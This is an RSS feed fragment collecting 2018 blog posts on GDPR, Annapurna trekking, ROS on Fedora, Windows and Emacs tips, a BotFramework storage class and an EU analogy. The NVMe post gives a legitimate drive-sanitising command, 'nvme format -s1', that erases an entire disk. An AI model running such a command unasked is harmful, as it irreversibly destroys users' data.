&lt;/section&gt;</description><author>bastibe.de</author><pubDate>Fri, 25 May 2018 20:21:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-05-25-gdpr-compliance.html</guid></item><item><title>GDPR? OK, here you go</title><link>https://stop.zona-m.net/2018/05/gdpr-ok-here-you-go/</link><description>&lt;p&gt;Hello World. GDPR has come, so I must tell you how I complied, and how your privacy will (not) suffer by visiting this website. Here I go. Please read, because this is short, but above all it&amp;rsquo;s about MORE than GDPR.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 25 May 2018 05:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/gdpr-ok-here-you-go/</guid></item><item><title>Annapurna Circuit - Day 14: Marpha to Larjung</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-14-larjung/</link><description>&lt;h1&gt;We battled gale force winds in the afternoon making our way to Larjung.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I recommend leaving Marpha at 7:00am to avoid the intense afternoon winds. After walking through town, you can cross over the bridge to get off the main road and onto the trekking trail. That path goes through beautiful apple orchards that reminded me of upstate New York in the fall. On the way, we went by the Tibetan Refugee Camp where many of the shop owners told me they lived. A bit past that is a military base. We walk right through it, following the circuit trail. It’s one of the coolest yet most bizarre things I’ve seen on the trek.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465992/IMG_2915.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After the military camp, the forest opens up into the river bed. It’s hard to see signs from here, and there are several different paths across the open space. If you look closely enough, you’ll see the red and white markers. It feels a bit like playing a game of Where’s Waldo. When you reach the other side, stay to the left near the small village and apple trees. There’s a path that cuts through. After the adorable little town, there’s another opening where you have to keep an eye out for the path again. It eventually leads to a path with a 250m (820 foot) incline, but beautiful views of Dhaulagiri.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551466045/IMG_2940.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After descending back down to the river, we stopped in Saura for a cup of tea at the only teahouse in town. The owner directed us across the river to Larjung. There are small wooden beams positioned across the areas that are harder to walk through, so we got across the river easily without having to walk out of the way to the next suspension bridge. This river bed used to be a sea and the entire area was underwater before tectonic plates moved. The cool thing about this, is there are fossils of sea creatures in the area which are millions of years old.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551466109/IMG_2951.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Larjung is a small town. Honestly, it’s one of my least favorite places we’ve stayed. It’s the only place I’ve been where we said “Namaste” to people on the street and they didn’t reply. That being said, our teahouse owner was lovely and made incredible food. The place felt cozy even though we were the only ones there. Our original plan was to hire a local guide for the next day for 1500 rupees ($15) to see the Dhaulagiri Icefall. Unfortunately, road work caused a blockage on the path that even a guide wasn’t willing to attempt going over. We skipped the side trek the next morning, and without the side trek there’s really not much reason to stay here. I’d recommend going to Kalopani if you don’t plan to do this trek or if it’s not accessible.&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Fri, 25 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-14-larjung/</guid></item><item><title>ROS Melodic on Fedora 27</title><link>https://kyrofa.com/posts/ros-melodic-on-fedora-27/</link><description>Part of the snapcraft CLI&amp;rsquo;s development roadmap this cycle includes the ability to build snaps on distros other than Ubuntu. Part of that work includes investigating each plugin to determine if it&amp;rsquo;s possible to get it working on other distros. As a result, I&amp;rsquo;ve been looking into the Catkin plugin recently, using Fedora 27 as my proving ground (since that&amp;rsquo;s the distro with which I&amp;rsquo;m most familiar after Ubuntu).
The first thing you&amp;rsquo;ll notice trying to get ROS working on Fedora is that, unlike Ubuntu, where Open Robotics maintains infrastructure hosting a repository of Debian packages, there is no repository for you to use: you must build ROS from source.</description><author>kyrofa's blog</author><pubDate>Fri, 25 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/ros-melodic-on-fedora-27/</guid></item><item><title>How to securely wipe an NVMe drive</title><link>http://blog.pythonaro.com/2018/05/how-to-securely-wipe-nvme-drive.html</link><description>NVMe drives are great: they are fast and they are huge. That huge size, however, can be a pain when it comes to securely erasing data. Old-school commands like &lt;code&gt;wipe&lt;/code&gt; are simply not up to the task; and even if they were, they work on assumptions that do not map properly to a solid-state world. Writing random data over and over is going to dramatically reduce the lifespan of a solid-state drive, and it's pointless when all NVMe disks already have built-in tools that can take care of this task quickly and safely.&lt;br /&gt;
&lt;br /&gt;
So what do you do when you want to wipe a NVMe drive? &lt;br /&gt;
&lt;ol&gt;&lt;li&gt;
Download a recent Linux distribution. I would recommend Debian/Ubuntu or one of their smaller derivatives (like Knoppix). Burn it on a cdrom or USB drive and boot the system from it.&lt;/li&gt;&lt;li&gt;Make sure your package manager is up-to-date (under Debian/Ubuntu, &lt;code&gt;sudo apt-get update&lt;/code&gt;), then install &lt;code&gt;nvme-cli&lt;/code&gt; (&lt;code&gt;sudo apt-get install nvme-cli&lt;/code&gt;)&lt;/li&gt;&lt;li&gt;If your drive is a Samsung, it now has to be put to sleep (you can do that with &lt;code&gt;sudo systemctl suspend&lt;/code&gt;) and then woken up. This is a weird bug that &lt;a href="https://github.com/linux-nvme/nvme-cli/issues/84"&gt;Samsung doesn't seem in any hurry to fix&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Now you can securely wipe the disk: &lt;code&gt;sudo nvme format -s1 /dev/nvme0n1&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;
For the curious: the -s option triggers &lt;b&gt;Secure Erase&lt;/b&gt; mode, which can be set to 1 (wipe) or 2 (delete encryption keys for encrypted data). 1 looks like the safest option, because it will automatically do what 2 does if it detects that all data is encrypted. Reference &lt;a href="https://www.mankier.com/1/nvme-format"&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The latest NVMe specification adds other commands, to scrub every nook and cranny (bus caches etc), but as far as I know they have not been implemented yet.</description><author>Subclassed</author><pubDate>Fri, 25 May 2018 00:04:11 GMT</pubDate><guid isPermaLink="true">http://blog.pythonaro.com/2018/05/how-to-securely-wipe-nvme-drive.html</guid></item><item><title>That TERRIBLE LibreOffice tip that never dies</title><link>https://stop.zona-m.net/2018/05/that-terrible-libreoffice-tip-that-never-dies/</link><description>&lt;p&gt;It is the one you keep finding scattered all over the Web. Here is another case.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 24 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/that-terrible-libreoffice-tip-that-never-dies/</guid></item><item><title>NSA PRISM's Commercial Cousin</title><link>https://blog.eutopian.io/nsa-prisms-commercial-cousin/</link><description>2200 words, 11 minutes.
 Engineering, Vol. 62, December 18 1896.
&amp;ldquo;In 1882 I was in Vienna, where I met an American whom I had known in the States. He said: &amp;lsquo;Hang your chemistry and electricity! If you want to make a pile of money, invent something that will enable these Europeans to cut each others&amp;rsquo; throats with greater facility.’” - Hiram Maxim.
Selling arms during an arms race is such an interesting topic it warrants its own post.</description><author>Privacy, Power, &amp;amp; Protection In The Cyber Century</author><pubDate>Thu, 24 May 2018 16:40:04 GMT</pubDate><guid isPermaLink="true">https://blog.eutopian.io/nsa-prisms-commercial-cousin/</guid></item><item><title>The European Union, explained to geeks</title><link>http://blog.pythonaro.com/2018/03/the-european-union-explained-to-geeks.html</link><description>I've started describing the EU to geek-friends as a set of  services built over decades.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;You need to coordinate energy supplies across the company departments (nations)? We built a service (&lt;a href="https://en.wikipedia.org/wiki/European_Coal_and_Steel_Community"&gt;ECSC&lt;/a&gt;) that does that. Worked great, no more fighting over the last bit of coal!&lt;/li&gt;
&lt;li&gt;Need atomic development? &lt;a href="https://en.wikipedia.org/wiki/European_Atomic_Energy_Community"&gt;EURATOM&lt;/a&gt; service. Worked great, again.&lt;/li&gt;
&lt;li&gt;And so on and so forth...&lt;/li&gt;
&lt;li&gt;At some point somebody said hey, we need a management tool for all this stuff! "&lt;a href="https://en.wikipedia.org/wiki/European_Council"&gt;European Council&lt;/a&gt;" service, with a set of dedicated subthreads for the real work (&lt;a href="https://en.wikipedia.org/wiki/European_Commission"&gt;European Commission&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;But that service will run amok at times, let's add some monitoring and security checks! &lt;a href="https://en.wikipedia.org/wiki/European_Parliament"&gt;EuroParliament&lt;/a&gt; service - took a few rewrites to get right, nobody really likes to work on monitoring tools; but like systemd on Linux, the EP service should eventually take over anything that talks to real world I/O, so it's pretty important.&lt;/li&gt;
&lt;li&gt;Now all this stuff needs to communicate, with common formats that avoid parsing and reparsing umpteen different types of data back and forth, and ways to look up the right service for a given job - so we created a "CommonMarket SDK", optionally turbocharged with options like &lt;a href="https://en.wikipedia.org/wiki/Schengen_Area"&gt;Schengen&lt;/a&gt;. When exceptions are thrown, the SDK will automatically invoke the &lt;a href="https://en.wikipedia.org/wiki/European_Court_of_Justice"&gt;ECJ&lt;/a&gt; service to resolve matters; and it will self-update by talking to the management services. Once everyone adopts the SDK, then it should be easier to make more radical changes through that (ECB, Euro, common fiscal policy...). But in the end nobody likes change, it's always hard to break backward-compatibility.&lt;/li&gt;
&lt;/ul&gt;
Now, across the company/continent, various departments/nations have adopted some or all of these services, but most of them ended up relying on the SDK one way or the other, so it became basically mandatory. At one point we had to give a name to the whole framework, and "EU" it was.&lt;br /&gt;
It's definitely not a monolith, but there are so many moving parts that the management services are now essential. Some departments have renounced their Write access (Iceland, Norway, Switzerland...) and some were never granted that privilege (Turkey); some departments were forced to change their processes to suit the framework (Italy, Greece, the Eastern countries...). Things are still pretty shaky, developers are still very much at work, but it's getting better with time. It's making more and more services possible and even *easy* to bootstrap (EMA, EFSA, Erasmus...). Bugs creep in and out, we keep adding more and more fault-tolerance, the workload is not yet distributed fairly, etc etc; but it's accomplishing some very heavy tasks that are absolutely mission-critical, if we want to keep the company running and competing with the big boys.&lt;br /&gt;
...&lt;br /&gt;
Then, one day, a department said they'd like to go back to pen and paper. Except for a few services, for which they want to hand-craft packets individually, but those services should just assume the data is still as good as before, and never throw exceptions - they will ignore any response from the ECJ service anyway. Some of what their department does depends on another department, which has no intention to go back to pen and paper, but they say they will somehow give them bits and receive paper, without anyone actually doing the transformation, and without any friction at all. And they'd like to retain write access to the management services too, thank you very much, plus veto powers, so nobody can change SDK formats without consulting them.&lt;br /&gt;
Cue facepalming.</description><author>Subclassed</author><pubDate>Thu, 24 May 2018 09:43:09 GMT</pubDate><guid isPermaLink="true">http://blog.pythonaro.com/2018/03/the-european-union-explained-to-geeks.html</guid></item><item><title>Windows Survival Kit for OSX exiles</title><link>http://blog.pythonaro.com/2018/01/windows-survival-kit-for-osx-exiles.html</link><description>After 5 long years, I was gently forced back to Windows for everyday work. The experience has been less terrible than I thought, but was pretty frustrating at the beginning.&lt;br /&gt;
To help anyone in the same predicament, I put together a small list of tips to make the move a bit more tolerable.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Windows does not have hot corners. Hello, 1995! Anyway, the solution here is using a small app called, unsurprisingly, &lt;a href="https://sites.google.com/site/bytecar/home/hotcornersapp" target="_blank"&gt;HotCornersApp&lt;/a&gt;. It works well enough, and it's fine with multiple screens too. Despite the basic website, it's legit and even opensource, you can &lt;a href="https://github.com/bytecar/HotCornersApp" target="_blank"&gt;compile it yourself&lt;/a&gt; (although beware - apparently the very latest updates may not build properly).&lt;/li&gt;
&lt;li&gt;Windows does not do &lt;a href="http://osxdaily.com/2010/07/23/set-up-text-substitution-in-mac-os-x/" target="_blank"&gt;text substitution&lt;/a&gt;, which is one of those things that you don't know how much you love it until they take it away from you. As far as I can see, there is no free utility on Windows to do this, or nothing that actually works well enough. So, I paid for &lt;a href="http://www.16software.com/breevy/" target="_blank"&gt;Breevy&lt;/a&gt;. It feels a bit retro (it looks blurry on high-def screens...), but it works very well and has all sorts of options and special features.&lt;/li&gt;
&lt;li&gt;Windows doesn't really deal well with multi-language support, aka &lt;i&gt;typing accents from a US keyboard&lt;/i&gt;. Sure, you can use US-International, and deal with &lt;code&gt;'&lt;/code&gt; and &lt;code&gt;"&lt;/code&gt; becoming meta-keys, but for a techie/programmer typing those characters on their own more often than accents, it's extremely annoying. The solution was again Breevy: you can define a combo that will not be triggered unless you type a special character afterwards. For example, I defined &lt;code&gt;`e&lt;/code&gt; to become &lt;code&gt;è&lt;/code&gt; after I press Ctrl. It works absolutely everywhere, although it's nowhere as elegant as the OSX popup. Same story for special characters like £ , € etc.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;For best results, check if your keyboard supports custom macro. &lt;a href="https://gaming.kinesis-ergo.com/fsedge/" target="_blank"&gt;Mine does&lt;/a&gt;, so I mapped the blank side-keys to accents and so on. After muscle-memory starts kicking in, this solution is actually superior to stock OSX.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;I was not going to reformat my external hard drives to NTFS, which is a pain to use back on OSX; so again I had to pay for &lt;a href="https://www.paragon-software.com/home/hfs-windows/" target="_blank"&gt;Paragon HFS+ for Windows&lt;/a&gt;. The UI is garbage (and does not work properly with multi-monitor setups), but the actual driver seems to work perfectly.&lt;/li&gt;
&lt;li&gt;Microsoft has basic print-to-PDF support. If you need to concatenate documents, &lt;a href="http://www.primopdf.com/" target="_blank"&gt;PrimoPDF&lt;/a&gt; does it, and it's free (do not download the Nitro version). The interface is not great though.&lt;/li&gt;
&lt;li&gt;For the developer types out there who rely on &lt;a href="https://kapeli.com/dash" target="_blank"&gt;Dash&lt;/a&gt;, a good equivalent on Windows is &lt;a href="https://zealdocs.org/" target="_blank"&gt;Zeal&lt;/a&gt;. It supports the same format, even fetching docsets directly from Dash repositories.&lt;/li&gt;
&lt;li&gt;Also for developer/sysadmin types, the Windows equivalent of homebrew is now &lt;a href="https://chocolatey.org/" target="_blank"&gt;Chocolatey&lt;/a&gt;. Whoever came up with that word should give up trying to name things, but the software does work. You can use it to install 7zip (to get the latest beta with proper security patches, &lt;code&gt;choco install 7zip.install --pre -y&lt;/code&gt;) windirstat and so on, it will make it easy to upgrade them when necessary (rather than having through the usual website-download-install dance, just &lt;code&gt;choco upgrade&lt;/code&gt; them all).&lt;/li&gt;
&lt;li&gt;There are quite a few apps that do what &lt;a href="http://fluidapp.com/" target="_blank"&gt;Fluid&lt;/a&gt; does, i.e. making websites into "native" apps. I know, I know, they are aberrations; but I got used to having a few sites (Gmail, Trello, Hangouts...) accessible this way. After a bad experience with WebCatalog (it was working ok, but then it got stuck trying to upgrade itself), I installed &lt;a href="https://github.com/jiahaog/nativefier" target="_blank"&gt;nativefier&lt;/a&gt;. This is again more for the geek types; it requires &lt;a href="https://www.npmjs.com/" target="_blank"&gt;npm&lt;/a&gt; and it's a command-line app with a few quirks.&lt;/li&gt;
&lt;li&gt;UPDATE 1: to get back the "preview on pressing Space" experience, there is a free app called &lt;a href="https://sourceforge.net/projects/ccseer/"&gt;Seer&lt;/a&gt;. You can also pay for a license, but it's not clear what the difference might be, the free app is more than enough for my needs. I had to remove the Ctrl-Alt-S shortcut in Settings in order to make it work properly.&lt;/li&gt;
&lt;/ul&gt;
Did I miss anything? Feel free to suggest other useful tidbits in comments.</description><author>Subclassed</author><pubDate>Thu, 24 May 2018 09:42:01 GMT</pubDate><guid isPermaLink="true">http://blog.pythonaro.com/2018/01/windows-survival-kit-for-osx-exiles.html</guid></item><item><title>How to implement custom BotStorage class for Microsoft BotFramework</title><link>http://blog.pythonaro.com/2018/03/how-to-implement-custom-botstorage.html</link><description>Since launch, the MS BotFramework has been changing very rapidly. So rapidly, in fact, that I recently gave up trying to keep up with my handrolled Python, and embraced (sigh) their NodeJS SDK. At least now I won't have to worry when they break stuff, right ?&lt;br /&gt;
One of the most recent BF changes is the deprecation and eventual removal of the default persistence API. You are now supposed to either use one of the pre-built Azure services (paying $$), or provide your own implementation. In pure Microsoft style, they state that rolling your own is very easy... but never actually provide a sample or even tell you which interface should be implemented.&lt;br /&gt;
I had to scavenge through their code to figure it out (at least they opensource their stuff these days), but I thought I'd save others a bit of aggravation, and here it is:&lt;br /&gt;
&lt;pre&gt;var MyBotStorage = (function () {
    
    // optional constructor
    function MyBotStorage(options) {
        this.options = options;
    }
    
    MyBotStorage.prototype.getData = function (iBotStorageContext, 
                                                callback){
        // IBotStorageData interface
        var data = {
            userData: {},
            conversationData: {},
            privateConversationData: {}
        };
        // the callback MUST be invoked
        // signature: callback(Error, iBotStorageData )
        callback(null, data);
    }
    
    MyBotStorage.prototype.saveData = function (iBotStorageContext, 
                                                iBotStorageData, 
                                                errorCallback){
        // the callback MUST be invoked
        errorCallback(null);
    }
    
    return MyBotStorage;
}());

var botStorage = new MyBotStorage({});

var bot = new builder.UniversalBot(connector, function (session) {
            // your bot code here
    }).set('storage', botStorage); 
&lt;/pre&gt;
As you can see, it is indeed trivial, once you know how. It's sad that MS somehow, in the haste of deprecating their older interfaces, couldn't find the time to put this sample in their otherwise-extensive documentation. I suspect the fact that Azure is not mentioned anywhere might have something to do with it, but &lt;i&gt;I'm sure&lt;/i&gt; I'm just assuming excessive malice and there is a perfectly-plausible explanation that does not involve greed. Or is there?</description><author>Subclassed</author><pubDate>Thu, 24 May 2018 09:41:39 GMT</pubDate><guid isPermaLink="true">http://blog.pythonaro.com/2018/03/how-to-implement-custom-botstorage.html</guid></item><item><title>Transparent Emacs titlebars on macOS</title><link>https://xenodium.com/transparent-emacs-titlebars-on-macos</link><description>&lt;p&gt;Happy with &lt;a href="https://github.com/d12frosted/homebrew-emacs-plus"&gt;Emacs Plus&lt;/a&gt; builds on Mac. You get some eye-candy bonuses like transparent titlebars.&lt;/p&gt;
&lt;p&gt;To install:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew tap d12frosted/emacs-plus
brew install emacs-plus --without-spacemacs-icon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Config:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(when (memq window-system '(mac ns))
  (add-to-list 'default-frame-alist '(ns-appearance . dark)) ; nil for dark text
  (add-to-list 'default-frame-alist '(ns-transparent-titlebar . t)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/transparent-emacs-titlebars-on-macos/transparent-emacs-titlebars-macos.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 24 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/transparent-emacs-titlebars-on-macos</guid></item><item><title>Lunette: Like Spectacle but for Hammerspoon</title><link>https://xenodium.com/lunette-like-spectacle-but-for-hammerspoon</link><description>&lt;p&gt;Came across &lt;a href="https://github.com/scottwhudson/Lunette"&gt;Lunette&lt;/a&gt;. Gives ya Spectacle Keybindings for Hammerspoon.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 24 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/lunette-like-spectacle-but-for-hammerspoon</guid></item><item><title>Annapurna Circuit - Day 13: Kagbeni to Marpha</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-13-marpha/</link><description>&lt;h1&gt;I'm glad we skipped Jomsom and headed all the way to picturesque town of Marpha.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We originally planned to walk to Jomsom, but upon arriving, opted to keep moving on to Marpha. The road from Kagbeni to Jomsom is a dusty construction zone mess that crosses an empty river bed. It wasn’t especially scenic, and it was insanely windy, which I hear is common in this section of the trek. The side route that we didn’t take went up in elevation quite a bit, and I was still sore from coming down from the pass, so I wanted an easy day.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465845/IMG_2880.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Jomsom is a large village with very little charm. We had intended to spend two nights there to rest, but it lacked any personality. We made a stop at the ATM because we were all desperate for cash, grabbed lunch, and quickly exited the town which felt cold and distant compared to beautiful Kagbeni. The road to Marpha was much of the same. We walked through gravel and dust along the road until we entered the city gate.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465921/IMG_2902.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Marpha is full of old world charm and beautiful quaint tea houses. After checking out a few, we ended up at Tanpopo. The rooms have ensuite bathrooms with hot showers and western toilets. The WiFi works better than any other place on the trek. The food is amazing (but a little spicy). Overall, the ambience sold us with its beautiful views and common areas.&lt;/p&gt;
&lt;p&gt;If you’re ending your trek here, you can exchange extra clothes for beautiful souvenirs made by Tibetan refugees in town.&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Thu, 24 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-13-marpha/</guid></item><item><title>How to add multiple tags to a Go struct</title><link>https://boyter.org/posts/how-to-add-multiple-tags-to-go-struct/</link><description>&lt;p&gt;I was looking to add multiple tags (the declaration after the struct field) to a struct in Go such that I could have it defined in GORM and in JSON.&lt;/p&gt;
&lt;p&gt;This was much harder to find via any search engine I tried than I would have guessed. The answer thankfully is simple once you know and was provided to me by Josh of &lt;a href="https://boyter.org/2017/03/golang-solution-faster-equivalent-java-solution/"&gt;https://boyter.org/2017/03/golang-solution-faster-equivalent-java-solution/&lt;/a&gt; fame.&lt;/p&gt;
&lt;p&gt;The trick is to define multiple tags but with a space separating them. Easy enough and hopefully this post is found by others with the same issue.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 24 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/how-to-add-multiple-tags-to-go-struct/</guid></item><item><title>Machined Horses</title><link>https://rjp.is/blogging/posts/machined-horses/</link><description>In which we machine-learn horse names.</description><author>infrequent oscillations</author><pubDate>Wed, 23 May 2018 06:16:19 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/machined-horses/</guid></item><item><title>Train Emacs to open files externally</title><link>https://xenodium.com/train-emacs-to-open-files-externally</link><description>&lt;p&gt;TIL about the &lt;a href="https://bitbucket.org/jpkotta/openwith"&gt;openwith&lt;/a&gt; package. It enables Emacs to defer to external programs for certain files. You choose which ones. Neat.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package openwith :ensure t
  :config
  (csetq openwith-associations
         '((&amp;quot;\\.\\(mp4\\|mp3\\|webm\\|avi\\|flv\\|mov\\)$&amp;quot; &amp;quot;open&amp;quot; (file))))
  (openwith-mode 1))
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 23 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/train-emacs-to-open-files-externally</guid></item><item><title>How Asia Works: Success and Failure in the World's Most Dynamic Region</title><link>https://olshansky.info/book/how_asia_works/</link><description>Olshansky's review of How Asia Works: Success and Failure in the World's Most Dynamic Region by Joe Studwell</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 23 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/how_asia_works/</guid></item><item><title>Annapurna Circuit - Day 12: Muktinath to Kagbeni</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-12-kagbeni/</link><description>&lt;h1&gt;Kagbeni is a beautiful town, lush green fields against a desert background.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A friend of mine told me Kagbeni was a beautiful “sleepy town” that I should definitely go see. Most of the trekking route has been catered to tourism, and I was curious to see a town that hadn’t been completely formed around the tourist trail. Since it was halfway to Jomsom, it seemed like an obvious choice to go visit. Plus, there were rumors of a YacDonald’s which was worth walking out of the way for.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465510/IMG_2839.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;You can easily hop in a Jeep, but I’m cheap and had already walked this far, so it seemed dumb to give up at this point. I decided to follow the paved road for an easy day of walking after such a long trek the previous day. My trekking buddy opted for the “trail” on the opposite side of the valley which ended up being a dirt road. The paved road did have some detours that went through the small towns of Jharkot and Khingar.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465571/IMG_2829.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The views were incredible and unlike anything I’d seen in Nepal so far. Parts looked like the Grand Canyon while other sections looked like a desert. Make sure you have a lot of water because I was directly in the sun for three of the hours walking on pavement. The last hour of the trek we were both hammered with wind and small sandstorms. It was so strong that it almost knocked me over, and I was walking like a drunk. Make sure to have a face mask or buff with you to prevent getting dust in your mouth and nose.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465614/IMG_2865.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After arriving in Kagbeni, I searched for the rest of my crew and strolled through the beautiful streets. It’s the oldest city I’ve seen in Nepal, and the architecture is incredible. I’d stumble on stupas, rows of prayer wheels, and old stone buildings. I eventually decided to eat and stay at YacDonalds despite the $5 room charge. I ordered the happy meal for lunch which promised a side of happiness and they were right. It was an AMAZING burger even by American standards.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465764/IMG_2870.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Wed, 23 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-12-kagbeni/</guid></item><item><title>Tyranny of Metrics, teaching to the test and Open Data</title><link>https://stop.zona-m.net/2018/05/tyranny-of-metrics-teaching-to-the-test-and-open-data/</link><description>&lt;p&gt;Professor Jerry Muller, author of &lt;a href="https://press.princeton.edu/titles/11218.html"&gt;The Tyranny of Metrics&lt;/a&gt;, argues that &lt;a href="https://aeon.co/ideas/against-metrics-how-measuring-performance-by-numbers-backfires"&gt;measuring performance by numbers backfires&lt;/a&gt;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 22 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/tyranny-of-metrics-teaching-to-the-test-and-open-data/</guid></item><item><title>State of Cloud Native CI/CD Tools for Kubernetes</title><link>/posts/2018-05-22-state-of-cloud-native-ci-cd-tools-for-kubernetes/</link><description>Originally appeared on Opsgenie Engineering Blog
